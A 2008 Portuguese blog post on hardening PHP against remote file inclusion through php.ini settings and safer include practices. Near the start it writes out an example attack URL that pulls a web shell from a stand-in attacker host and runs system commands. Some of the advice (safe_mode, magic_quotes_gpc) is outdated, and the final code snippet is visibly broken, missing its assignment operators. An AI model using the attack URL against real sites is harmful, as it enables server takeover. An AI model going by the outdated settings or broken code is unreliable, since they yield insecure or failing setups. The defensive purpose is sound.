Configurando o PHP contra o PHP injection

Bom, inicialmente vou falar um pouco sobre o que é...
o PHP injection é a utilização indevida de funções do PHP normalmente abertas para uso. As funções exec() e system() que por default são abertas permitindo a execução de qualquer coisa pelo seu servidor. Por exemplo:

http://www.site.com/arquivo.php?id=8465

Vamos supor que você use seu site igual ao acima, com o exec() e system() abertos o hacker se utiliza para executar coisas externas:

http://www.site.com/arquivo.php?id=http://www.sitehacker.com/cmd.gif?&cmd=ls; cmd; uname -a

O site hacker tem hospedado um arquivo chamado cmd.gif que na verdade é um arquivo .php com funções para executar comandos no seu servidor, no exemplo acima o hacker está dando comandos ls, cmd e uname -a em seu servidor através do seu site com as funções exec() e system() abertas.

Bom deixemos o blá blá blá de lado e agora partir para o que interessa de verdade, se defender contra essa vulnerabilidade:

Primeiro, edite o php.ini especifique as opções:

Código:
allow_url_fopen = Off
Isso vai impedir que um include ou um open que não esteja hardcoded, ou seja, que tenham seus valores fornecidos por uma variável, façam includes remotos, como no exemplo citado no início deste post.

Código:
safe_mode = On
Isto impedirá que os scripts em PHP abram arquivos que não sejam do mesmo dono (UID) do script. Mas não esqueça de dar um chown nos scripts para um usuário sem privilégios (o nobody tá de bom tamanho), criando um usuário phpscripts ou algo assim.

Código:
register_globals = Off
O "register globals" ligado diz para o PHP que qualquer variável passada como parâmetro deve ser reconhecida como uma variável válida dentro do código PHP. Isto facilita muito as coisas pois com isso não precisamos ficar associando o array $_REQUEST a variáveis internas, mas ao mesmo tempo é perigoso, pois permite a um atacante controlar variáveis internas que você não tenha corretamente incializado.

Código:
magic_quotes_gpc = On
Se você não tem conhecimento sobre como "sanitizar" variáveis antes de enviá-las para bancos de dados ou programas externos, uma boa opção é deixar o "magic quotes" ligado, pois ele dificulta bastante a manipulação de strings para, por exemplo, provocar um SQL Injection no seu acesso ao banco.

Código:
display_errors = Off
Ao invés de visualizar os erros de programação no browser, use o log do servidor. Esta opção impede que atacantes provoquem erros na sua aplicação para descobrirem paths da estrutura de arquivos.

Leia as demais opções do seu php.ini, especialmente se você estiver usando o PHP sob IIS/Windows. Existem coisas importantes lá, mas que nunca tive a oportunidade de usar.

Além das configurações, algumas práticas de programação podem salvar a sua pele. Por exemplo, NUNCA PASSE O NOME DE UM ARQUIVO COMO PARÂMETRO PARA INCLUDE OU FOPEN! É muito comum você encontrar sites com URLs do tipo:

E então, quando mudamos a palavra contato para qualquer outra coisa (por exemplo "testnotfound") o PHP exibe a fatídica mensagem de erro de "Arquivo não encontrado". E atenção: NÃO CONFIE NO SEU CÓDIGO SE VOCÊ ESTÁ ACRESCENTANDO UM PATH COMPLETO E A EXTENSÃO DO ARQUIVO NA HORA DE INCLUIR, por exemplo:

Código PHP:
include("/home/asnocoder/www/includes/".$inc.".php"); 
Não confie nisso! Continua perfeitamente possível incluir qualquer arquivo do seu sistema através da manipulação correta da variável $inc.

E já que estamos falando de includes, NUNCA COLOQUE EXTENSÃO .inc NOS SEUS SCRIPTS OU BIBLIOTECAS. Estas extensões não são tratadas pelo webserver e o código fonte do programa é exibido caso eles sejam chamados diretamente no browser. Você tem três opções:

1. Renomear estes arquivos para "arquivo.inc.php", por exemplo (e alterar os includes que fazem referência a eles).
2. Mover estes arquivos para uma parte da árvore de diretórios que não seja acessível diretamente pelo browser.
3. Proteger o diretório onde estes arquivos estão. Segue exemplo de diretrizes do Apache:

Código:
    Options None    Order Allow, Deny    Deny from All    AllowOverride None    Satisfy All 
Quando eu tenho que fazer um include/fopen de acordo com uma opção do usuário, eu costumo criar um ninho de IFs e passar como parâmetro para a página apenas um número, ou um código qualquer, fazendo algo do tipo:

Código PHP:
$inc "index.php"// Página default
if($_GET['opcao']=="1") { $inc "pagina1.php"; }
if(
$_GET['opcao']=="2") { $inc "pagina2.php"; }
include(
$inc); 

Bom dúvidas à mais acessar:
http://www.php.net/manual/en/security.php

Abraços à todos e espero ter ajudado um pouco.
Submetido por Victor A Moraes [/html]
Victor A MoraesonSegunda 28 Abril 2008 - 11:13:59
Comentário(s):1 | TrackBacks:0

Categorias de Notícias